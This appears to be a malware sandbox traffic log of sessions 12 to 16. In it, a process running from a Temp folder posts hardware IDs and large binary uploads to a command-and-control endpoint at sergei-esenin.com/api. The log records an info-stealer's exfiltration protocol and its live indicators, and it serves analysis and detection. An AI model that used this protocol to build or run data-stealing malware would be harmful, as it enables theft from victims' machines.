Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49997	104.21.53.8	443	7836	C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 17:30:17 UTC	372	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=EKR9x8mMoXSiOyXelVCptRlax5_KFh8oSDgBjRdWaZs-1729791015-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12840 Host: sergei-esenin.com
2024-10-24 17:30:17 UTC	12840	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 44 46 38 36 34 46 34 46 32 32 43 44 46 35 45 34 45 34 42 30 45 36 39 34 39 42 37 38 34 36 30 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"CDF864F4F22CDF5E4E4B0E6949B78460--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-24 17:30:18 UTC	1020	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 17:30:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=s6rp4tcp3k0urgq0f2100ia4r2; expires=Mon, 17 Feb 2025 11:16:57 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fPBr5%2BQlBTE0jR03o0zTGdu0QnUUjhmafHk1%2FZBgmELW3gu8cPEjwRwOrAztCxWxLMR2wiF4jSVSNgqSFdavq76J%2B73IWZDsV04dTBp8lBlSBwNE60ossDsjNyxkvF2f%2FEGQow%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d7bb1a64b8a6b17-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1961&sent=7&recv=16&lost=0&retrans=0&sent_bytes=2845&recv_bytes=13870&delivery_rate=1467815&cwnd=250&unsent_bytes=0&cid=3bcb37ae873cffa2&ts=592&x=0"
2024-10-24 17:30:18 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 31 0d 0a Data Ascii: 11ok 173.254.250.71
2024-10-24 17:30:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	50000	104.21.53.8	443	7836	C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 17:30:19 UTC	372	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=EKR9x8mMoXSiOyXelVCptRlax5_KFh8oSDgBjRdWaZs-1729791015-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15082 Host: sergei-esenin.com
2024-10-24 17:30:19 UTC	15082	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 44 46 38 36 34 46 34 46 32 32 43 44 46 35 45 34 45 34 42 30 45 36 39 34 39 42 37 38 34 36 30 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"CDF864F4F22CDF5E4E4B0E6949B78460--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-24 17:30:20 UTC	1023	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 17:30:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5j328i4ipubknhl3rdscipfbgd; expires=Mon, 17 Feb 2025 11:16:58 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=N5feQU8RaNuaB9GWG8Yswo%2FBfron%2BJOxDABaIvoFFFztRTpenr%2B5LPhcfUvhhUd%2FlkE6vVor773EIFHfZva9SM7f9jwZ%2FMUCXgFwbQ0FiJzbuZML2UKifDjkZpCOjyfjmbfygw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d7bb1b12f35464d-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1322&sent=10&recv=19&lost=0&retrans=0&sent_bytes=2845&recv_bytes=16112&delivery_rate=2437710&cwnd=251&unsent_bytes=0&cid=d1b976d6be4a259b&ts=771&x=0"
2024-10-24 17:30:20 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 31 0d 0a Data Ascii: 11ok 173.254.250.71
2024-10-24 17:30:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	50002	104.21.53.8	443	7836	C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 17:30:21 UTC	372	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=EKR9x8mMoXSiOyXelVCptRlax5_KFh8oSDgBjRdWaZs-1729791015-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20572 Host: sergei-esenin.com
2024-10-24 17:30:21 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 44 46 38 36 34 46 34 46 32 32 43 44 46 35 45 34 45 34 42 30 45 36 39 34 39 42 37 38 34 36 30 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"CDF864F4F22CDF5E4E4B0E6949B78460--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-24 17:30:21 UTC	5241	OUT	Data Raw: 5a 3e 93 af 35 13 92 cd 36 8a 95 d9 76 89 c4 4d c9 4d d9 5a b5 da 68 27 0c 46 c7 33 b7 ee 57 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: Z>56vMMZh'F3Wun 4F([:7s~X`nO
2024-10-24 17:30:21 UTC	1026	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 17:30:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=p9l0hqlnrlb9ho502kdcuce0hm; expires=Mon, 17 Feb 2025 11:17:00 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9x0%2FbR%2Bj0YTkDDBSlJbYHEXJ4HWFopLtM%2BUTn4iTm74f1Vmzgscxou7lMe6e%2BbtvJF7U32seYlFayCKWrkj1%2BUxJOKd4168JLju37Mkqfje9DJABIfA7UlQnVo%2B%2BnBczreVJmA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d7bb1ba1b23e726-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1633&sent=12&recv=25&lost=0&retrans=0&sent_bytes=2844&recv_bytes=21624&delivery_rate=1704532&cwnd=47&unsent_bytes=0&cid=4de22b5335401cd0&ts=575&x=0"
2024-10-24 17:30:21 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 31 0d 0a Data Ascii: 11ok 173.254.250.71
2024-10-24 17:30:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	50004	104.21.53.8	443	7836	C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 17:30:25 UTC	371	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=EKR9x8mMoXSiOyXelVCptRlax5_KFh8oSDgBjRdWaZs-1729791015-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1278 Host: sergei-esenin.com
2024-10-24 17:30:25 UTC	1278	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 44 46 38 36 34 46 34 46 32 32 43 44 46 35 45 34 45 34 42 30 45 36 39 34 39 42 37 38 34 36 30 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"CDF864F4F22CDF5E4E4B0E6949B78460--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-24 17:30:25 UTC	1024	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 17:30:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=6jkfbk9fqv9iso9fbi622bej86; expires=Mon, 17 Feb 2025 11:17:04 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=d5crQdXRP3D3VAX4Xh1oLDNvFiO7DjVa7FC6u%2BkViiPtem8%2B%2BToL3HuSzmZrcdQGLElciLAV7KdXOO08UE8n5UoDiDw9BSXLgVY8vKhH7R0%2BM1dd44%2F%2FxajnbcWw%2B7MCDm42qw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d7bb1d38ecae85f-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1386&sent=7&recv=8&lost=0&retrans=0&sent_bytes=2845&recv_bytes=2285&delivery_rate=2124724&cwnd=251&unsent_bytes=0&cid=ba8b73515c7a181d&ts=631&x=0"
2024-10-24 17:30:25 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 31 0d 0a Data Ascii: 11ok 173.254.250.71
2024-10-24 17:30:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	50013	104.21.53.8	443	7836	C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 17:30:27 UTC	373	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=EKR9x8mMoXSiOyXelVCptRlax5_KFh8oSDgBjRdWaZs-1729791015-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 568951 Host: sergei-esenin.com
2024-10-24 17:30:27 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 44 46 38 36 34 46 34 46 32 32 43 44 46 35 45 34 45 34 42 30 45 36 39 34 39 42 37 38 34 36 30 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"CDF864F4F22CDF5E4E4B0E6949B78460--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-24 17:30:27 UTC	15331	OUT	Data Raw: 49 c4 c0 8e 8b 10 c3 5f 1a 1c 80 83 63 c3 71 84 31 b9 06 e7 c8 89 03 98 cd 93 11 ec 20 41 68 87 18 fa 3a 07 89 f2 af 68 20 0c b6 5c 8d 52 d3 c3 0f 92 0d 37 97 a3 71 a4 83 e6 35 74 b4 9e 1d 88 3a c0 f1 70 63 cc 6c 24 ea a3 a5 1f 84 33 64 0b 34 99 ef 36 d1 82 f5 bb 72 bf fd ec b4 67 7f 76 97 89 0a 49 d2 a1 55 43 da 45 48 9c 83 c0 16 0f 2f de ab ff e2 07 23 0d 76 52 16 9b 0d 16 e2 6b e5 36 15 66 0c 23 16 1f 98 8e 6f 38 08 51 c9 8c 1c 44 69 ad 69 ce bc 5c 05 fe 07 68 da e8 60 02 98 ee 47 2f ed 04 52 42 54 52 36 6f 18 96 a0 a8 cd f1 31 4f d4 9f ec b6 84 77 85 84 16 13 16 5f a7 6a f2 24 a1 76 cb 05 d2 cf 30 30 64 8f fc c7 4f ac 4e ea b9 ae 42 6e 5d 56 0d d9 d1 0d 08 9d 41 b1 f3 c6 91 c0 68 e9 66 a3 5a db 2d a6 c5 54 cb 8e 9e d5 eb 4d f5 bc fa d8 d0 0c c8 92 87 Data Ascii: I_cq1 Ah:h \R7q5t:pcl$3d46rgvIUCEH/#vRk6f#o8QDii\h`G/RBTR6o1Ow_j$v00dONBn]VAhfZ-TM
2024-10-24 17:30:27 UTC	15331	OUT	Data Raw: f5 f4 dc e0 32 4f ba 05 2b 2b 73 28 1f 89 c3 f1 33 11 86 e8 54 52 6a 91 a9 2a 57 09 34 a8 6c bf 7c 55 9f b1 8c 3c 27 55 1e 97 26 04 0d a8 ac 93 c9 19 e5 eb d1 46 66 ed 81 b7 d4 87 25 af 72 35 bd 55 68 6a b8 a5 72 7c 2c 23 99 9a 72 d6 89 4f 48 b4 e7 c3 82 90 dc 58 30 36 96 b0 b9 59 8b 97 93 e4 e9 d9 4b 1a b4 b1 b3 d5 e9 4d 41 be 75 c7 13 5d 92 a9 50 20 e4 1c 77 57 67 e5 e2 84 09 66 4e 91 fd a4 c4 c7 eb 00 39 36 94 be 2b b4 a1 39 f1 52 ad fe ce e6 f7 d7 7d ea ac 06 81 f4 30 6e 16 fd eb 86 f3 c3 30 12 aa ff 51 a4 1f 9f eb ab ed dd 1d c7 9f a1 1c e3 07 d2 94 80 4c 7c 6a c9 a9 3b 32 dc 94 27 23 f4 9a 91 ea f6 4b 61 03 c5 43 af de 0c cf 78 bf fd 29 c6 7a e9 cc 7d 12 4a 9b 50 79 13 34 bd f2 10 62 7e 0a e4 7c b9 a4 3d 6e 10 c8 29 4f 1c 3c 94 9f 21 cc 18 b1 ea a8 Data Ascii: 2O++s(3TRj*W4l\|U<'U&Ff%r5Uhjr\|,#rOHX06YKMAu]P wWgfN96+9R}0n0QL\|j;2'#KaCx)z}JPy4b~\|=n)O<!
2024-10-24 17:30:27 UTC	15331	OUT	Data Raw: 7d 6e c9 64 ee 2d 51 56 c1 56 e2 32 a2 cc 78 97 6a d1 e0 0e 6d 9e 80 b1 a8 80 8f 41 73 7d 5f 0e 53 31 56 e2 af cb 78 f3 cc 68 10 17 65 d7 93 06 cf 6a 35 7f e8 b2 b8 bd be 19 8e 12 ff 88 34 48 9e d4 2a 12 a7 02 71 96 bd b8 d8 73 f2 45 5d dc 49 62 6d 73 55 65 81 35 db 20 62 a1 e4 b7 cb 1e b9 f3 0a 82 83 da 5b 81 bf db ce 40 67 5c 8f 7a 8e 83 ce db 63 0a 57 e0 9f d5 2e 53 11 2c 25 c7 d2 8e d3 c9 93 86 0f 6e 02 0f 19 f9 a7 ad ba 2b 0d 3f ba bf ce 0c 54 36 d9 a3 a7 d9 be a1 9b cc 92 0e c9 99 29 b3 63 3f e8 7b 58 3a 54 cd 8d cd 44 a3 0a f5 f1 ac 28 d7 d5 92 c2 8d e8 f5 1c ad 49 e9 cb 35 bf c8 69 77 5a 57 d3 27 d8 3b e6 6e 57 4d f3 fe db db f6 76 48 4c c8 ed 78 c4 59 f9 a5 3a e4 32 f6 26 ab cd ad 69 f0 8a 60 e5 0d 55 0a db 5f 7c b5 65 20 c4 75 45 ef 8a c3 22 5d Data Ascii: }nd-QVV2xjmAs}_S1Vxhej54H*qsE]IbmsUe5 b[@g\zcW.S,%n+?T6)c?{X:TD(I5iwZW';nWMvHLxY:2&i`U_\|e uE"]
2024-10-24 17:30:27 UTC	15331	OUT	Data Raw: 23 a4 2d fe 53 38 c8 b1 04 88 8f dc 78 66 25 19 ff f8 08 ca 82 a0 cf 26 ac 8f 95 7c 4f 74 54 cb 6f e1 c8 d5 dd 19 c5 1b c2 13 42 a0 fc 15 ae 79 dc 6c 18 df 1f 51 84 8b 04 09 02 44 0f a8 8b b3 a9 07 e0 64 42 b9 c1 24 ea ca 24 c6 b9 5a 5b 0d 17 14 cb 46 fc cd c4 46 ce e9 97 83 b2 3c 21 a7 28 58 11 64 0b 91 64 16 ff d8 84 aa ac e4 1f b4 47 87 65 da 90 2f 61 85 5f 2a 65 3f 34 30 8e 28 33 c9 96 44 84 72 9e 93 a0 76 98 b3 02 36 0a cf 3a ea 2c e7 a9 ee 56 51 ad 56 69 6f 7c d0 7d 77 1c ba 44 cc 9e 5e e7 32 d3 33 14 ba cc bb 9e 23 93 cf 87 3d 64 98 e3 b6 c9 d0 2a 95 72 a5 ef 1a 78 fd d1 dc 05 5c 8e 9f 77 9d c4 7c 7b 01 4b 2b e4 6e af 34 1d 64 70 e0 d4 ad 71 a7 0a 2e 24 f8 74 eb 75 23 0f 18 1c 72 1c b6 3e e8 82 11 de 7c 3f e5 bf f3 86 a6 69 80 ba b4 e3 1d bc 74 45 Data Ascii: #-S8xf%&\|OtToBylQDdB$$Z[FF<!(XddGe/a_e?40(3Drv6:,VQVio\|}wD^23#=drx\w\|{K+n4dpq.$tu#r>\|?itE
2024-10-24 17:30:27 UTC	15331	OUT	Data Raw: a7 41 89 b4 4f aa e8 98 e7 80 46 2e e1 50 94 af 72 4c 9b 09 ea c6 38 f6 b7 ec e9 08 3c e1 a0 a6 da 71 69 15 b7 b8 4c 69 9f b1 fa f7 6f 16 37 f0 93 86 05 76 de 6b cf 54 d3 23 97 89 43 39 f7 97 ef e1 80 15 b3 ad 5a a8 e2 80 d3 67 d3 f0 56 f5 12 2d 81 6f 77 69 26 f3 69 a5 1e 5a c4 c0 45 ac 48 8a d7 8c 34 cd ce 42 49 11 f6 83 c6 4f 49 c4 16 fe 9b a6 55 ef 2c 1a 57 e3 2c 3c 22 43 18 37 c0 8b 23 d4 a7 5a 34 f0 ea 5e f7 e9 29 f9 23 ab 4d 8f 77 67 b4 98 37 c6 ab 68 41 ff f9 12 4f 86 a9 10 a8 40 38 c2 bd ee 7e d6 1b eb 2a 29 e7 32 98 54 a2 dd 81 fa d2 ac 93 5f ef 27 3c 6e 7c ba 56 4e 59 f4 eb a2 03 d3 3b 2b 01 be ca d1 9f 13 db 75 ce af 67 33 45 62 e9 3c 26 43 94 1a f6 97 17 b3 c2 b4 4d 3a 01 d6 6c 92 d1 05 ef e7 87 f9 1a 94 55 22 89 44 cf 15 e3 4c 02 f8 33 12 10 Data Ascii: AOF.PrL8<qiLio7vkT#C9ZgV-owi&iZEH4BIOIU,W,<"C7#Z4^)#Mwg7hAO@8~*)2T_'<n\|VNY;+ug3Eb<&CM:lU"DL3
2024-10-24 17:30:27 UTC	15331	OUT	Data Raw: 3f 74 be 45 38 b6 c1 f9 11 44 27 1d 27 a9 07 94 88 ca c8 dc a0 91 90 52 12 30 ba 62 13 ac 26 e7 f1 9e f2 c0 a9 dc c0 5f 7a 68 16 a6 a9 5e 8d 5d 8e 58 f0 e8 77 a9 7c e3 7c 15 ed 48 44 6d 40 b0 22 95 79 4c 00 76 c6 7c 9f 0d 79 8a a2 d6 33 2c 00 f3 0a eb e8 61 64 2d fe 0d 7a 38 88 cf 2d 10 07 95 48 ca f7 67 de e0 0d 37 77 6b 69 20 65 41 bd 0b 57 05 dd 33 cf ca c4 62 d4 24 0e c6 da 08 83 b5 4c d0 d0 55 81 5f 0a 69 47 cd 0c c4 a0 78 ae 1a ba 67 fb 62 4f 24 d0 f3 92 4b 8c f9 9a c2 5f 6e 80 a4 7c 66 42 68 04 59 77 3f a1 6d ab 37 eb 32 d0 d6 b9 1a e0 da bc 77 f4 f8 c2 97 19 ca f4 e4 67 8d 15 f5 87 b3 49 8b c6 94 f4 61 34 c7 37 53 71 3e e7 21 a8 ef fb a5 25 ad ec cd ed 7d 4b 97 02 17 d4 0c 25 54 4e 22 c5 b8 e7 47 3f 28 d7 03 24 f6 a5 ae fb 69 e1 78 99 cb 02 af 41 Data Ascii: ?tE8D''R0b&_zh^]Xw\|\|HDm@"yLv\|y3,ad-z8-Hg7wki eAW3b$LU_iGxgbO$K_n\|fBhYw?m72wgIa47Sq>!%}K%TN"G?($ixA
2024-10-24 17:30:27 UTC	15331	OUT	Data Raw: b6 b9 68 b7 78 59 f0 ce c8 e7 9b 9f cc 1b ee 2b f0 bc 45 84 73 b6 d4 4e 50 e1 99 73 ee 40 e1 a2 15 fd 14 82 e6 65 c9 05 3b 5f 3a 04 6b 5c 01 6e c3 ea e9 7b 9e 5f e3 f1 64 1c d6 ba 90 c2 7d 51 3a 3c 03 a2 72 36 cf 05 08 d2 81 68 5e 0f 8c fa de fe 1c a0 99 73 76 93 33 e5 e3 b2 93 a4 e8 15 60 fd 80 81 03 f1 6d 62 f4 6e 3e 70 e4 3f cd ed 8b a7 e5 e6 ed c2 e6 47 eb e2 c1 6c 8b 81 92 11 49 71 bd c8 cb e0 71 78 09 47 a7 66 1f 24 5a c4 ee ee b8 6a 21 09 ad 9c c2 49 aa 54 d8 5a 3a dc 66 ab 2e 08 b6 e1 ba 78 87 67 67 57 9b 47 b5 45 e8 5f c4 43 08 1d 73 84 4b 60 4a 43 e1 c2 d8 bd 27 fc 39 16 e7 9d eb d2 04 4c b3 9f 6b a3 bc cd bb 89 4e 7b 8d 2b 83 24 a0 c6 8a 56 24 6f 62 7d e8 02 ef a8 be 1f e6 8d 0b 57 ee aa 0a 9a b1 a6 dd ba fb 33 b5 c8 9b fd e8 5a 2d 5a ec 32 66 Data Ascii: hxY+EsNPs@e;_:k\n{_d}Q:<r6h^sv3`mbn>p?GlIqqxGf$Zj!ITZ:f.xggWGE_CsK`JC'9LkN{+$V$ob}W3Z-Z2f
